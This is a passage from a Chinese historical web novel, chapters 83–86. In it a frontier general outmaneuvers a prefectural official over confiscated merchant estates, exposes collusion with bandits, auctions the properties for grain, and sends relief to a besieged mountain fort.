林婉儿以袖掩面饮酒,放下酒杯时,唇上沾着晶莹酒渍,依旧浅笑盈盈。
“将军可知,那日您策马而来,一枪挑杀狼戎**,像极了《边塞英豪传》里的画本英雄?”
林安国忽然重重咳嗽一声,女儿却浑然不觉,挨着秦猛坐下连珠发问:“拒马河的落日真能染红整片水面吗?书中说**是没粮才来劫掠...”
秦猛说起“大漠孤烟直,长河落日圆”的景象,又谈及“非我族类其心必异”之类的看法。
他忽然挽起袖口,小臂上狰狞的刀疤惊得林婉儿轻吸口气,
“这是几年前边堡秋汛时,被**劫掠所伤。草原上是一群豺狼,养不熟的白眼狼,他们不管男女老幼,书上说‘缺粮才劫掠’,纯属胡扯。”
少女纤白的手指悬在半空,似想触碰疤痕又不敢,轻声问:
“疼吗?”
这三个字极轻,却让秦猛心头莫名一颤。
林安国见势头不对,忙主动插话,将话题拉回感谢救命之恩上。
他清了清嗓子:“秦将军,昨日之事,本府感激不尽,备了些许薄礼,还望将军收下。”
说罢,他轻拍手掌,几人从水榭外走进来,为首的竟是护送车队的军官张崇。
“卑职见过秦将军。”张崇快步上前见礼,身后,几个衙役手捧红木托盘,一个托盘盖着红布,鼓鼓囊囊,其余上放着绸缎与茶叶。
——正是林安国备好的谢礼。
只是张崇神色略显尴尬,显然觉得此举不妥,毕竟昨日秦猛救人时并未求回报,此刻送礼反倒显得生分。
“秦知寨,林某为官清正,私产不多。
这托盘里是三百两银子、十多卷锦缎与上好官茶,另外本府会调拨三千石粮草送往边寨,以助将军练兵,杀**所需,也谢救小女之恩。”
林安国说着,下意识往前挪了挪,挡在林婉儿身前,活像护犊子的老母鸡,摆明了防范秦猛。
秦猛一眼看穿他的心思,心中无奈。
他此刻满心想的是如何搞钱粮、壮大铁血军寨,只想在乱世中自保,哪有功夫顾及儿女情长?
他看向几个托盘之物,神色肃然,语气郑重:“林大人,昨日出手相助,是为救同胞,并非为钱财粮草。
您若真心感谢,不必用这些俗物。多安置城内流民。文人有风骨,难道边塞武将就没有傲气吗?”
“爹爹,您怎能这样?”林婉儿冰雪聪明,瞬间懂了父亲的心思,不想与秦猛有往来。
她红了眼眶,声音带着委屈,“秦将军昨日救我时,根本不知我们是谁,也未曾想过回报。您这般做,岂不是侮辱了将军的好意?”
“再说了,女儿已经长大了,有自己的选择。”
说完,她猛地起身往后堂跑,快踏入竹帘时又停下,转头深深看了秦猛一眼,眼神里满是不舍,还有不易察觉的歉意,随后才消失在帘后。
“婉儿!”林安国起身去追,却没追上。
他站在原地,看着空荡荡的后堂入口,脸色青一阵白一阵,水榭内的气氛瞬间凝固、压抑。
秦猛知道再留下去不合适,便起身拱手:“林郡守,今日叨扰,日后再来拜访,我等告辞。”
他本想借此时机拉近与林安国的关系,将这位新郡守拉到边军这边,可如今看来,这辈对武人多有成见,只能等时机成熟,再徐徐图之。
他拉着还在啃鸡腿的袁飞起身就走。
林安国伸手想拦,却张了张嘴说不出话,最终长叹:“好吧,两位将军慢走,本府送送你们。”
可就在此时,水榭外传来急促的脚步声,伴着衙役的呼喊:“郡丞大人,郡守正在会客,您不能进去!”
“闪开!本官有要事禀报!”
一道严厉的呵斥响起,正是郡丞董袭。
他脸色阴沉,秦猛强夺产业是其一,更让他不满的是旬月前多了“顶头上司”林安国,往日畅通无阻的衙门如今要层层通报,行事束手束脚。
秦猛听到“董袭”之名,眉头微皱。
他与董袭无交集,却听说此人与幽州刘德走得近,还给了南河镇刘家不少便利,故而之前推脱了董袭的宴请。
此刻董袭急着找林安国,恐怕没好事。
“滚开!耽误大事,你有几颗脑袋?”董袭语气更沉,没把衙役放在眼里,不待通报便推开人闯入水榭。
恰好林安国送秦猛等人走到门口,两人迎面撞上。董袭险些撞到林安国,幸好及时停步。
“董郡丞,你可知规矩?本府正在会客,你竟敢硬闯,成何体统?”
林安国是个读书人,最讲礼仪,昨日女儿车队遇袭本就起疑,见董袭无礼,脸色瞬间阴沉,语气满是不悦。
董袭见是林安国怒了,脸色稍缓,忙拱手:“林大人,下官并非有意冒犯,实在是今日城中出了大事,闹得沸沸扬扬,不得不火速禀报!”
“哦?何事紧急?”林安国眉头皱得更紧。
董袭深吸一口气,语气愤怒:“是铁血军寨的秦知寨!这个武夫胆大包天,竟敢纵容手下兵卒,大庭广众之下,抢夺南河镇刘家的产业。
刘家是郡里望族,他这般行事,简直目无王法!”
“什么?竟有此事?”林安国满脸错愕,
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下意识瞥了眼身后的秦猛。
方才酒桌上,他只觉秦猛魁梧勇猛,谈吐得体,甚至带几分儒雅,实在难信对方会做这种事。
“千真万确!”
董袭掏出一张折叠整齐的状纸,递给衙役转呈林安国,“郡守大人您看,这具状文书上写得清清楚楚!”
林安国展开状纸,上面满是受害掌柜,管事等人控诉秦猛抢夺刘家产业的文字,还列了“证据”,言辞恳切,乍看之下,倒像真的。
他看完,脸色微变,刚要开口询问秦猛却被对方抬手打断。
“林大人,休要听他一派胡言。”秦猛向前半步,走出廊道。
ta直直盯着董袭,脸上带着假惺惺的笑,拱手道,“见过董郡丞,本将便是铁血军寨知寨秦猛,不知郡丞口中的‘武夫’,说的可是本将?”
董袭没料到秦猛竟在郡衙内,脸上闪过诧异,随即恢复不屑。只冷哼一声算是打过招呼。
“董郡丞说本将公然抢夺别人家产,简直是无稽之谈。”秦猛脸色一沉,语气也冷了下来。
“昔日南河镇刘家的刘德才之子刘耀宗,在赌坊中输了钱,无力偿还,便自愿拿刘家的产业抵债。
本将提供的地契、欠条一应俱全,而且已经经过郡城县衙专人核验,按律,是合法有效的。”
“本将只是拿回属于自己的产业,又有何不可?”
他冷冷地看着董袭,眼神中满是嘲讽,“难道董郡丞觉得,欠债还钱、抵债取产,也是违法行为?”
“哼,你不过是与县衙串通,巧立名目罢了,派兵卒强占,**,说到底,就是公然抢夺!”
董袭冷笑几声,语气笃定,仿佛亲眼看到了秦猛“勾结”县衙一般。
“刘家世代忠良,又颇有家资。怎会做出欠债不还的事?定是你用了什么手段逼迫刘公子!”
“直娘贼,麻辣隔壁。”突然,一道嘲讽的骂声响彻,袁飞从后面跳出来,指着董袭口吐芬芳。
“世代忠良?我呸!
刘家年年贩卖粮食,铁器入草原,与**勾结,欺压良善,掳掠人口,已经证据确凿。你还有脸说是世代忠良?莫非你也是此类货色?”
这一通话直接把董袭给骂懵圈了。
秦猛也有点尴尬,自己在训练新兵时情急之下,偶尔蹦出来的国骂竟然被这小子学了去。
“你…你血口喷人。”董郡丞回过神来,勃然大怒。
“哼,董郡丞,你要是清白,又何必这般动怒?”
撕破了脸皮,秦猛也丝毫不给他面子,冷笑以对:“本将奉命来抓奸细,你以为我是来耍笑?
你有没有勾结**,你说了不算,我说了也不算。办案得讲究证据,本将日后自会查清。”
“本官身正不怕影子歪!”董郡丞冷哼回应。死死盯着秦猛,双方视线于空中交织,火花四溅。
第83章 步步紧逼,权柄交锋
“画虎画皮难画骨,知人知面不知心。”
秦猛望着满手龌龊、劣迹斑斑的董郡丞,此刻竟摆出一副正义凛然的模样,不禁嗤笑出声。
“董大人,好一张伶牙俐齿!”
“少说废话!”董袭面色阴沉,重重冷哼,转头看向旁观的林安国,“林大人,您身为一郡之长,这般强占他人产业之事,还望您做主定夺!”
“林大人。”秦猛针锋相对,亦掏出折叠整齐的公文,递向林安国。
“这是县衙专人核验的记录、产业地契与借据欠条,件件真实无误。”
“按律,本将有权收回这些产业。”秦猛语气加重,他早已做好准备,即便刘德福亲自来,也改变不了结果。
林安国接过一看,脸色顿时变得纠结。
这份公文是县衙开具,各房联合签名,人证物证齐全,事实确凿,瞬间让他陷入两难境地。
“林大人,此事您无需操心,说到底是我与刘家的个人恩怨。”秦猛见他为难,主动开口解围。
“您只需睁一只眼闭一只眼,或是依法处理便好。”
他目光锐利地盯着董袭,语气陡然转厉:“幽州刘德福用下三烂的手段,本将也不必跟他讲规矩。老子就是明抢了,你又能如何?”
董袭脸上的笑意瞬间消失,脸色阴沉得能滴出水。
秦猛不给他说话的机会,声音带着几分狠厉:“本将不妨明说,找由头夺了刘家产业,就是蓄意报复!报复刘德福封禁小南运河之仇!敢断我边寨粮道,老子就要让他付出代价!”
他向前逼近一步,眼神如刀般锐利,带着几分戏谑看着董袭:“我不仅要报复,还要搞死他。本将亲口承认了,你董郡丞又能奈我何?”
“你……你好大的胆子!如此行径,岂不是要谋反?”董袭脸色剧变,色厉内荏地厉声指责。
“啧啧啧,谋反?董大人这话倒是说得熟练。”秦猛斜睨着跳脚的董袭,义正言辞地喝斥。
“你与刘家勾结**、串通山贼,那才是真正的谋反!”
“你…你胡……”董袭眼中闪过慌乱,刚想辩解。
“闭嘴!”秦猛厉声打断董袭的话,“本将身为朝廷命官,最是遵纪守法,绝不会信口雌黄。”
“遵纪守法?”林安国左右眼皮剧烈地跳动着。
袁飞看秦猛的眼神都变了,这厮太能掰扯了,都快要拔刀子**,还能说自己“最是遵纪守法”。
秦猛站在道德的制高点上,继续指责董袭,嘴巴如同抹了开塞露似的,根本就停不下来。
“你看看你,獐头鼠目,一看就不是好人呐!
本将说你勾结**,必然手握证据,由不得你狡辩抵赖。
否则岂能服众?那不是知法犯法?
境内百姓也多有说你不是,流民你也不安置好。
连自己的同胞你不爱护,作为朝廷六品命官,这不仅是大大的失职,这更是种**行为…”
他不屑地打量着董袭,仿佛在看一个跳梁小丑。手却已悄悄摸上腰间的刀柄,一股淡淡的杀气从他身上悄然弥漫,将董袭笼罩其中。
董袭瞬间只觉寒意从脚底窜起,额头冒出冷汗。
他突然想起不久前,那位试图抢夺秦猛军功的巡检使臣,最终被秦猛当场斩杀,连头颅都被砍下。
这位可是真敢对朝廷命官动手的狠人!
想到此处,董袭愈发慌乱,双腿微微颤抖,下意识退后两步,看向林安国,竟带着颤音求救。
“郡守大人,救我!”
林安国本不想掺和两人争执,可董袭都公然向自己求救,再不表态制止,难免落人口舌。
“够了!”
他只能硬着头皮上前,挡在两人中间,规劝道:“秦将军,董郡丞,有话好好说,何必动刀动枪?”
“哟!林大人,您误会了,我哪有胆量冒犯董大人?”秦猛朝林安国笑了笑,一脸无辜地说道。
其实,他之前真想过一刀斩杀董袭,一了百了。
但最终还是放弃了这个鲁莽的念头。
毕竟董袭既是朝廷正六品命官,又是地方豪强,贸然斩杀的后果,恐会引发青阳郡城混乱。
眼下拒马河冰封在即,**随时可能来袭,稳定为重。
不如先安插人手,争取利益,日后再作清算。
更何况,能借此与林安国暗中联手,分走董袭手中权力,增强话语权,后续行事也会更顺利。
秦猛不愿再浪费时间,看向林安国,语气郑重:“林大人,并非本将不讲理,实在是有些人丧尽天良,幽州漕运判官刘德福做得太过分!”
“此前刘德福找借口封禁小南运河戍堡,更是狂言,不许任何商队运送一粒米、一尺布前往边寨。”
“寒冬将至,没有物资,**再来袭扰,边寨如何能守住?这分明是公然针对边堡,与整个边军为敌!”
“这件事情你们不要说不知道!”
秦猛突然止声,目光扫过林安国与董袭,“问题多严重,影响有多恶劣,你们心中有数。”
“他既然先撕破脸皮,就别怪本将不讲情面。依规夺取产业,不过是本将的还击手段之一!”
说完,他又看向董袭,眼中闪过一丝狠厉,抛出更惊人的消息:“还有,董郡丞,你以为刘德福这杀才,只做了封禁运河这一件事?”
“他暗中勾结冷艳山的贼匪,几年来,掳掠边地百姓,卖到草原部落为奴为婢,以此牟利!”
“什么?竟敢如此放肆?”
林安国脸色骤变,声音陡然转厉,显然也被这消
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息震惊。
“他们有什么不敢的?”秦猛面无表情,冷笑道,“刘德福给贼匪送粮食钱财,唆使他们在前天夜里袭击边堡,害得我边军兄弟死伤惨重!”
“不错,此事我亲自经历。三百多贼匪已全军覆没,捷报早已飞马传至帅司。”袁飞适时上前,出声佐证,“不少贼匪被生擒,证据确凿!”
“你……你们胡说!”董袭脸色瞬间惨白,声音慌乱。
“刘兄怎会做这种事?你们这是故意栽赃陷害。”
“是不是栽赃陷害,一查便知。”
秦猛冷笑一声,从怀中掏出一本册子递给林安国:“城北军营中,还关押着不少冷艳山贼人头目,他们已然招供,这便是他们的供词。”
“林大人看过便知真假,若是不信,也可亲自去审讯,看看此事真伪,看看本将是否在胡说。”
林安国接过供词快速浏览,脸色越来越难看。
供词由秦猛下令整理,条理清晰,不仅记录了刘德福勾结贼人的时间、地点,还有具体交易记录,甚至连刘德福派谁联络、给了贼匪多少好处都记录清楚,证据确凿,不容置疑。
“刘德福不知死活,那就让他**!”
秦猛声音低沉如闷雷,带着不容置疑的威严。
“本将奉命而来,上峰已有指令,此事关乎边地安危,没有任何退让余地。谁敢跳出来,插手此事,谁就是与边军为敌,谁就是自寻死路。”
他目光再次落在董袭身上,语气冰冷:“董郡丞,你现在还要为刘家产业强出头吗?”
“还是说,勾结贼匪、袭击边寨之事,你也有参与?”
“没没没……我没有!”
董袭眼中满是恐惧,头摇得像拨浪鼓,声音带着颤音:“我只是听说兵卒强夺他人产业,才来向郡守大人禀报。”
“本官也被蒙在鼓里,根本不知道他勾结贼匪的事,真的不知道!”
此刻他才彻底明白,秦猛是有备而来,不仅手握扳倒刘家的证据,更有铲除对手的决心。
自己若再牵扯其中,必是死路一条。
他在官场混迹多年,自认老谋深算,却险些被刘德福连累,落得身败名裂的下场。
袭击边堡、勾结贼匪,这可是诛九族的大罪,他万万承担不起!
林安国看着手中供词,又看了看惊慌失措的董袭,再回想昨日家眷遇袭,脸色凝重到了极点。
已经确认此事十有**是真的!
他刚上任没多久,就遇上这般大事,幽州漕运官员勾结贼匪、袭击边堡,若是处理不当。
仅掳掠边民百姓贩卖到草原这一条,后果极为严重。
消息一旦传开,不仅会掀起轩然大波,甚至会引起民变,**若是大举来犯,就是一场灾难!
第84章 荐才定产业
林安国想到此案件的可怕后果,就清楚到那时不仅自己乌纱帽难保,恐怕还会波及北方防线。
他深吸一口气,看向秦猛:“秦将军,此事牵扯甚广,需要时间核实,还望将军稍安勿躁。”
“我晓得轻重。”秦猛点了点头:“”此an极其恶劣,必须妥善处置,保密,不然后果不堪设想。”
他知道这案件问题有多严重,林安国需要时间消化,侦办,奏报等。
何况,这案件根本查不下去,会有多方阻挠,结果只会不了了之。秦猛比谁都看得通透。
眼下首要目标是搞钱、搞粮。
再看董袭这副模样,显然已不敢再跳出来作怪。
林安国得到秦猛准确的答复后,松了口气。随即扫视在场衙役,董袭,语气极为严厉。
“本府希望案件未定性,今日之事,谁也不得外传。违令者,祸及家人,休怪本府冷酷无情。”
秦猛打量着老实下来的董袭,脑中灵光一闪:“对了,林大人。本将觉得郡城守军训练松弛,难堪大用。
愿保举两人:青州府马军都头张崇,从军多年,熟读兵书,昨日指挥有度,护卫车队有功,能识文断字,是难得的将才,可任营指挥使。”
廊道内的张崇听到举荐之言,呼吸骤然急促,眼中满是激动。
昨夜林安国本想保举他填补青阳阳县巡检司使臣空缺,没想到今日秦猛竟会保举提拔他,有望连升数级,这份惊喜让他一时间难以平复。
秦猛接着说道:“另一人是我的老部下庞仁,为人机灵,擅长捕盗缉贼,正好调入地方军队。
保举他到郡县巡检司整顿,训练兵卒,确保郡城守军可用、能战,而不是只知道欺负百姓。”
“嗯,秦将军言之有理,不愧是边寨铁血猛将。”林安国眼皮狂跳,心中却连连叫好,求之不得。
他刚到青阳郡上任,根基浅薄,缺乏心腹人手调度,地方乡绅豪强,还总拖着粮税不交。
如今有机会扶持自己人任职,自然不愿错过。
林安国转向董袭,问道:“董郡丞,秦将军这个提议如何呀?”
他虽是郡城的最高长官,但董袭身为郡丞,握有监督职权。
大周设此职位,本就是为了防止官员权力过大,让郡守与郡丞互相节制,保举需双方共同首肯。
董袭闻言,脸色变幻不定。
他在青阳郡经营多年,手握实权,在郡城那是说一不二,向来不把新上任的林安国放在眼里。
可如今林安国要保举心腹,边军也借机伸手,显然是要制衡自己的权力,这让他心中极为不甘。
秦猛见他迟疑不决,不冷不**开口:“董郡丞,刘德福做得太绝,这回怕是死定了。
但此事与其他人无关,本将事务繁忙,没时间管闲事。
这次只是警告!
老子的铁血军寨,不是谁都敢来踩一脚的。以后别来招惹我,否则我宁为玉碎,不为瓦全!”
秦猛神色冷峻,一字一顿地说道,语气中满是警告。
林安国闻言眼前一亮,低声呢喃着秦猛的话,显然明白了其中的深意,这位秦将军只想杀鸡儆猴,安静的戍边守疆,不想把事情闹大。
“你是地方官,我隶属边军,双方互不干涉。”秦猛语气缓和些许,给了董袭一个台阶下。
“青阳郡城乃是边疆重地,需两位大人好生治理。本将不希望这里出乱子,你明白我的意思?”
董袭瞬间听出弦外之音。秦猛不会借机动他,前提是他必须让出部分利益,同意两人保举。
以及刘家产业被抢占只能视而不见。
若是说半个“不”字,刘德福的案子必定会牵扯到自己,眼前这位手段狠辣的将领绝不会放过自己。
“好可怕的年轻人!”董袭瞳孔收缩,心中骇然。
他瞬间想通其中关节,只能舍弃小利保全自身,连忙说道:“秦将军慧眼,张都头与庞校尉,确是栋梁之才,乃是我青阳郡城之福。”
林安国望着董袭泛白的指节,忽然莫名心里舒畅。笑道:“董郡丞爽快。那刘家产业......”
“按律处置。”董袭抢着接话。
“嗯,董大人做了个明智的选择,省得本将动手。”秦猛意味深长地笑了,随后看向林安国。
“林大人,冷艳山贼匪就在城北军营,随时可以提审。”
“秦某还有事,就告辞了。”说罢,秦猛不再多言,拉着早已看呆的袁飞,转身离开了郡衙。
“哇靠,你这厮早有预谋?”
“什么预谋?此乃谋而后动,没有确凿证据岂能乱来?要知道我可是朝廷命官,最是遵纪守法。”
“你别说这几个字,听着膈应。”
豪放粗犷的对话声和笑声隐隐传来,直至消失。
只留下林安国与董袭站在榭厅门口,面对秦猛的雷霆手段和突如其来的变故,呆愣了许久。
……
“董大人,您可得为我们做主啊!”
“刘家的铺子被秦将军的人抢了,咱们得要回来。”
董袭与郡守林安国共同签署公文,处理完几件事后。连饭都没吃,拖着疲倦的身子离了郡衙。
一回到郡丞衙门,又面临糟心事。
十几个求他出面挽回产业的掌柜管事围拢上来。董袭眼底掠过一丝厌烦,却又不得不压下去。
半晌后,他才缓缓开口:“诸位,不是本官不愿帮,只是此事牵扯甚广,其中另有隐情。”
他本来想说刘德福勾结山贼死定了,可想到林安国杀气腾腾的警告,把话咽回去,及时改口。
“再说了,欠债还钱,天经地义。
刘家产业抵债,按规矩处置,郡衙也已盖章认下,此事我已尽力,再纠缠,便是与边军为敌。”
董袭只含糊以“秦猛握有地契、实据、郡衙已认”搪塞,并暗中提点他们转去
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幽州告状。
自己则再不敢公开与秦猛作对。
没了董袭撑腰,这群掌柜和管事也不敢闹腾,刘家众多商铺、城郊山头等产业,就这样易主。
消息传开,青阳郡的早市炸开了锅。
税吏班头张琨按着秦猛的授意,早就放出风声。
——刘家产业将用以兑换钱粮,盼有实力者接手。
秦猛身为边塞将领,一来没时间打理商铺,二来按大周规制,官员不得经营产业与民争利。
起初,富户商贾们多在观望。
他们怕郡衙突然插手,更怕秦猛以“强占”为名事后追责,毕竟刘家产业来路本就不清不楚。
可没等多久,县衙四处张贴榜文,明言“欠债还钱,天经地义,刘家产业归秦猛处置,兑换合规”。
郡衙更是直接开出公文盖章确认。
这一下,郡城彻底轰动。
刘家的商铺多在闹市区,客流量大、盈利稳定,山头更是种果树,搞养殖,是实打实的“肥差”。
此前众人虽眼热,却碍于刘德福的势力不敢伸手,如今有官府背书,谁愿错过这分羹的机会?
富户们纷纷备上银钱粮秣,浩浩荡荡往城北军营赶,都想在产业兑换中抢下最优质的份额。
军营内,庞仁正对着秦猛犯愁。
方才秦猛找到他,说要调他脱离边军,去郡县巡检司任使臣,负责整顿兵卒,训练地方军。
他眼睛瞬间瞪得溜圆:“大人,我不想离开边寨!李山、张富贵他们都比我合适,您换个人行不行?”
秦猛飞起一脚踹在他屁股上,笑骂道:“傻小子,巡检司是正经官职,能独当一面,这是美差!
张富贵,李山他们打仗勇猛,可论脑袋机灵、懂捕盗缉贼,谁比得上你?
你得学着挑大梁,况且军营离巡检司驻地就三五里路,想回来看看、参加集训,随时都能来。”
一旁的袁飞也凑过来拍他肩膀:“庞兄弟,边陲巡检司有300兵额,这可是秦大人特意为你讨要的职位,多少人求都求不来,别犯傻。”
庞仁听两人这么说,神色渐渐松动,最后咬了咬牙:“行,我去!那我有个要求,要带刘大头和唐****去,有他们帮衬,我才放心。”
秦猛沉吟片刻点头应下,却不忘叮嘱:“到了地方好好做事,不许拉帮结派搞小山头,要是懈怠军务,出了岔子,我可饶不了你。”
庞仁立马挺直腰板应了声“是”。
……
“驾,驾……”
荒野劲风卷着黄沙,刮得骑兵孙钱的脸颊生疼。他左手攥着缰绳,右手不时拍打战马的脖颈。
每隔半个时辰,他便利落翻身,换乘另一匹备好的骏马。马蹄踏碎冻土,一路尘土飞扬。
当地平线上终于浮现出青阳郡城青灰色的轮廓时,孙钱紧绷的肩背骤然松弛,风尘仆仆的脸上裂开一道笑意,连眼中的疲惫都淡了几分。
第85章 冷艳山急报
商铺兑换物资的消息在郡城传开后,不少富户商贾动了心思,纷纷打发家丁、护卫往军营跑,打探具体章程。
得知兑换要等明日晌午正式开始,众人仍没歇着,转头就各展神通,调运粮食、赶着猪羊往军营送。
——与其等明日竞价,不如先示好,也能给这位秦将军留个好印象。
秦猛得知消息,当即下令:“所有送来的物资,一律按市价结算,不许占边民半点便宜。
他们是人民子弟兵,绝不拿百姓的一针一线。”
从上午到下午,这短短的光景,军营竟陆续收了几百石粮食,还有百十头肥壮猪羊。
不拿百姓一针一线的消息被某个家伙故意宣传。在城内又是掀起一场轰动,许多百姓自发涌来。
有人拎着装着鸡蛋的篮子,有人送上自家菜蔬。
结果统统按略高市价收购,不搞小动作,不少一个铜板。
军营外的百姓聚拢了很多,秦猛直接让人竖起了募兵告示。
告示写明,凡身体健康、愿意投军且符合要求者,可成为土兵;凡能开一石强弓、马术精湛、能抱起二百斤石锁者,则直接入边军。
优厚待遇更是用红字标注。
仅“入军伍天天有肉吃”这条,就令不少人趋之若鹜。
从招兵旗竖起来时,就不断有人上前报名投军,除了本地青壮,还有商队护卫扛不住诱惑。
袁飞、王善亲自负责征兵事宜,只要符合初选条件,就会引入军营测试骑马、射箭等技能。
通过的佼佼者更是选入亲兵队。
秦猛意外听见常家护卫队私下议论庞仁转调地方当了官,他们看着招兵点,眼中闪过一丝羡慕。应该是碍于常家护卫身份而不敢投军。
残阳西斜,伙房里顿时热闹起来。
大锅里炖着猪肉粉条子,汤灶上熬着羊肉汤,还炒了几样清爽素菜,香气顺着风飘得满营都是。
秦猛刚端着碗坐下,就见**领着个年轻人过来。
那年轻人二十来岁,身高七尺,穿着一身洗得发白的书生袍,眉眼间透着几分拘谨与好奇。
正是李铁匠长子、在郡城求学的李恒。
“大人……”李恒看着秦猛,犹豫着拱手行礼,话还没说完,就被秦猛摆手打断:“都是一家人。不用这么生份,我还是喜欢以前的称呼。”
“猛子哥?”李恒愣了愣,听到这熟悉的叫法,心里的紧张顿时消了大半。
他上下打量着秦猛,发现昔日的玩伴懵懂的眼神早已不同,锐利如刀,周身还透着一股让人不敢直视的威势,哪还有半分当年的憨傻?
秦猛笑着拍了拍身边的空位:“坐,一起吃。”
两人边吃边聊,秦猛话锋一转,说起正事:“现在戍堡升格为军寨,你要是愿意回边寨。
我给你留个书吏的位置,协助寨衙起草签发公文、处理寨里的事,不比在外头漂泊求学强?”
李恒握着筷子的手顿了顿,想起这些年求学的坎坷,又看着秦猛真诚的眼神,终是点了点头。
“猛子哥,老头子也跟我说过,这条路不好走,比不过那些有钱有势的人,我跟你回边寨。”
在他看来,边陲之地日子虽苦、虽危险,但有熟人相伴,有实事可做,总比在功名路上空耗光阴强。
“好……”秦猛露出个笑脸,正欲说些寨子内的事儿。
突然,伙房外传来急促的马蹄声。
不久后,王善领着亲兵抬着一名军汉冲入伙房。
**立刻带着队伍拉起警戒线。
“不好…不好啦,大人,出大事儿了!”
那军汉叫孙钱,是南河戍堡原住民,见到秦猛,挣扎着双脚落地,脚步踉跄地跑过来汇报。
秦猛瞳孔剧烈收缩,猛地从椅子上站起来。
——他看到这汉子脸颊、嘴唇被冻得开裂,头发散乱,双腿根部更是已经磨得血肉模糊。
这些痕迹,明显是长时间骑马狂奔赶路造成的。
“兄弟,不要急,慢慢说。”秦猛箭步上前搀扶住他。
“大人,事态紧急。”孙钱强撑起精神,凑到秦猛耳边,声音急促却清晰:“我们成功夺下冷艳山,二当家韩勇和刘三也投奔了我们。
可没想到的是,幽州地方军队紧随而来灭口,现在山寨被围,具体情况不明,不容乐观……”
又是这幽州地方军队?
秦猛眼中杀机暴涨,待问清楚情况后,却又逐渐冷静下来。
他拍拍孙钱的肩膀:“兄弟放心,会没事的。”
随后高声吩咐:“来人,快把孙钱兄弟抬下去救治,再做些肉粥给他补补。”
几个亲兵应声上前,抬着孙钱下去了。
秦猛又把**叫来,低声嘱咐了几句,后者转身快步离去。
他则重新招呼李恒坐下,继续吃饭。
李恒心里满是好奇,想问些什么,却终究没开口。
秦猛看出了他的心思,笑着解释:“不是什么大事,就是张富贵率队剿灭山贼,有伙贼人胆大包天,包围了你富贵哥率领的边军队伍。”
顿了顿,他又补充道:“不过这件事你不需要管,你只要把我下面交代的事情做好就行。”
“就当是你做书吏的考验。”秦猛语气加重了三分。
“是!”李恒立刻昂首挺胸回应。
“明日会有很多富户商贾来竞争我抛出去的产业,你只需引导开拍,其他事我自有安排。”
秦猛一边吃饭,一边跟李恒说起明天的任务!
详细交代哪间商铺值多少钱、该换多少粮食。又点明哪些人是自己人,提醒他逢场作戏时不要露出马脚……
而在这期间,**已悄然传令各处,部分寨兵和常勇等三十人开始收拾行囊,吃饱喝足后,带上干粮,分批出城。
夜幕降临,一支人配双马的骑兵队伍悄然出发,奔赴冷艳山。
……
次日,“铁血军寨秦将军偶感风寒”的消息传开,却丝毫没能阻止那些想要得到商铺产业的富户们。
城
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北军营外早已车水马龙。
郡城内外的有钱人几乎都赶来了。
连常九派出的几支队伍也混入其中,按约定来军营参与竞争。
“秦将军在营中设了兑换点,诸位按次序排队,先验资,再选产业,一手交钱,一手交地契!”
军营门口,亲兵队长王善带着一队兵卒维持秩序,同时悄悄为李恒指引谁是常家商队的人。
富户们纷纷勒住马缰,或从车上下来,进入宽敞而温暖的营房内,一一落座,喝着热茶。
目光落在面前产业清单上,个个摩拳擦掌。
有个肥头大耳的粮商,直接让人抬着两箱银子过来,嗓门极大:“我要刘家西街的粮铺。
那铺子地段好,我出三千两银子!”
旁边一个布商立刻不服:“三千两就想拿下?我出四千两!”
“我出五千两!”
紧接着又有人加价,众人顿时吵了起来,价码一路飙升。
李恒虽有些紧张,却没有怯场,严格按照秦猛此前的交代行事:若是无人叫价,便扫视众人,询问三圈,确认无人回应后,就直接拍板,宣布交易达成。
随后,他会说明稍后将进行地契转让、签署公文,确保双方利益,还会提及退还部分钱粮、秦猛将占据两成股份并帮忙训练护卫等具体事宜。
午后,郡守衙门再次来人。
昨天林郡守派人审讯冷艳山寨俘虏,得出的结果让他心惊,又有些不敢置信。
所以今天,这位林郡守亲自带着衙役、仵作来军营,要提审那十来个贼匪头目。
这些头目此前在边寨已被单独审讯过,后来被关在一起时,隐约听到大当家严彪哀嚎招出“有人送粮,怂恿攻寨”的话,此刻面对林安国的审问,虽仍有推诿,口供却渐渐趋同。
他们供认,几日前夜里,一个叫刘三的人送了十车粮秣到山寨,说只要能打下边军军营,事后还有重金相谢,还承诺出了事有人兜着。
虽没人直接说刘三是刘德福所为。
可刘德福在郡城势力不小,府中管家恰好就叫刘三,这层关联任谁都能猜到。
更让林安国心惊的是,贼匪头目还供出,冷艳山寨能在边塞存活这么多年、从未被官府真正围剿,是因为有幽州的官员暗中庇护,甚至帮他们把掳来的边民卖到大草原为奴,从中分利。
这些口供与此前秦猛查到的线索相互印证,林安国拿着供词的手都在微微发颤——这事牵扯到幽州官场,稍有不慎便是塌天大祸。
尤其是王善私下告诉他。
秦将军已经不在城内,而是率领队伍去救援被贼人包围的剿匪军队后,他心里更是沉甸甸的!
“大人临走前特意交代过,此事太大了,不想置身危险,就得装傻。”王善的话在耳边回响。
林安国自然明白其中深意,脸色变得越发阴沉。
他双拳紧紧攥起,心中已有决断:必须尽快整理好证据,奏报朝廷,唯有如此,才是为官之道。
第86章 浴血奋战(一)
“杀、杀、杀啊……”
冷艳山上的厮杀声,几乎要掀翻阴沉的天。
夹杂血腥味的寒风使劲刮着,却压不住漫山遍野的肃杀。
“嗤啦——”
张富贵踩着寨墙上的血迹,刚把一名爬上墙的厢军劈翻,滚烫的血珠就顺着下颌线往下滴。
耳后突然一阵风,他偏头的瞬间,一支羽箭“笃”地钉进夯土寨墙里,箭羽还在嗡嗡震颤。
“富贵哥,小心背后!”
寨兵张铁蛋的吼声刚落,一柄长矛已直刺张富贵后心。她想扑上前相助,却有人速度更快。
韩勇斜身扑来,卷刃的朴刀带着风声格开长矛,手臂上渗血的布条被劲风扯得晃了晃。
他脸色早因失血泛白,握刀的手却稳得像生了根,顺势一刀,抹了那偷袭厢军的脖子。
这位冷艳山二当家是真心联合,作战异常勇猛。
“将军,伤号都移去主寨了!”
“关隘寨门快顶不住了!撤吧,退守主寨!”
张富贵顺着韩勇指的方向看,木寨门外厢军使劲撞着门,“轰隆”的撞门声震得人耳膜发疼,门板裂缝里都能看见外面厢军的兵器尖。
刘三带着十来边军死死抵着门,脸憋得通红,额上青筋暴起,连喊号子的力气都快没了。
“娘的!想我张富贵头回领兵在外作战,竟被这群地方军追着跑,打得接连逃窜,脸都丢尽了!”
张富贵啐了口血沫,拎起身边腿伤的悍匪撤退。
“快!点火烧寨门,撤!”
“撤!”韩勇和张铁蛋摸出火折子,往泼了火油的干草上一凑,火苗“腾”地窜起,转眼就把寨门裹在火里。
刘三等边军早就退得远远的。
没了人抵着,第二道关卡的木门很快被撞得粉碎。
可熊熊大火像道墙,把厢军的追兵拦得死死的。
